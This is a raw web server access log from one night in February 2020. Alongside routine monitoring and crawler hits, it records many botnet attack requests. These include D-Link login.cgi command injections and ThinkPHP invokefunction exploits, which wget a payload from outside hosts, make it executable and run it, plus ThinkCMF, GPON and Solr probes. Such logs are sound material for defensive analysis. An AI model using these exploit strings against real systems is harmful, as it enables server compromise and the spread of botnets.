212.91.246.72 - - [06/Feb/2020:22:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.230.137.108 - - [06/Feb/2020:22:57:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:22:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:22:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [06/Feb/2020:22:58:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [06/Feb/2020:22:58:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [06/Feb/2020:22:58:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [06/Feb/2020:22:59:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [06/Feb/2020:22:59:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:22:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.19.184.152 - - [06/Feb/2020:23:06:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:23:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.236.189.106 - - [06/Feb/2020:23:10:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:23:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.227.16.111 - - [06/Feb/2020:23:15:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
36.227.16.111 - - [06/Feb/2020:23:15:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:23:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.154.92 - - [06/Feb/2020:23:19:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.65 - - [06/Feb/2020:23:19:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:23:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.210.146 - - [06/Feb/2020:23:20:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:23:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.176.73.124 - - [06/Feb/2020:23:25:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:23:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.198.174 - - [06/Feb/2020:23:26:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
91.85.162.13 - - [06/Feb/2020:23:26:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:23:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.81.180 - - [06/Feb/2020:23:27:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:23:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.239.27.239 - - [06/Feb/2020:23:28:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
46.118.126.142 - - [06/Feb/2020:23:29:15 +0100] "GET / HTTP/1.1" 200 1229 "https://melbet-in.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
46.118.126.142 - - [06/Feb/2020:23:29:15 +0100] "GET / HTTP/1.1" 200 1229 "https://melbet-in.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
46.118.126.142 - - [06/Feb/2020:23:29:16 +0100] "GET / HTTP/1.1" 200 1229 "https://melbet-in.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.91.246.72 - - [06/Feb/2020:23:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.196.48.233 - - [06/Feb/2020:23:30:14 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.196.48.233 - - [06/Feb/2020:23:30:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [06/Feb/2020:23:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:23:31:43 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
125.166.187.47 - - [06/Feb/2020:23:32:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:23:32:26 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:23:32:31 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:23:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.212.236 - - [06/Feb/2020:23:32:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.132.212.236 - - [06/Feb/2020:23:32:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.32.111 - - [06/Feb/2020:23:32:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
115.20.222.185 - - [06/Feb/2020:23:33:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [06/Feb/2020:23:33:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [06/Feb/2020:23:33:11 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
115.20.222.185 - - [06/Feb/2020:23:33:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [06/Feb/2020:23:33:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:23:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [06/Feb/2020:23:33:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:23:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.19.165 - - [06/Feb/2020:23:34:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [06/Feb/2020:23:34:50 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:23:34:52 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:23:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:23:35:34 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:23:35:36 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:23:35:39 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
78.30.244.171 - - [06/Feb/2020:23:35:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:23:35:41 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:23:36:21 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:23:36:23 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:23:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:23:37:12 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:23:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:23:37:58 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:23:38:03 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
182.117.31.242 - - [06/Feb/2020:23:38:30 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [06/Feb/2020:23:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:23:38:46 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:23:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.229.101.90 - - [06/Feb/2020:23:40:31 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.229.101.90 - - [06/Feb/2020:23:40:31 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [06/Feb/2020:23:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.121.204.94 - - [06/Feb/2020:23:45:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:23:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.15.3.78 - - [06/Feb/2020:23:45:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:23:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.162.255 - - [06/Feb/2020:23:48:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:23:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.9.148.211 - - [06/Feb/2020:23:49:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:23:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.162.255 - - [06/Feb/2020:23:52:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.115.231.43 - - [06/Feb/2020:23:53:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:23:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:23:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.222.35 - - [06/Feb/2020:23:57:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:23:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.213.156.188 - - [06/Feb/2020:23:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
169.197.108.38 - - [06/Feb/2020:23:58:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
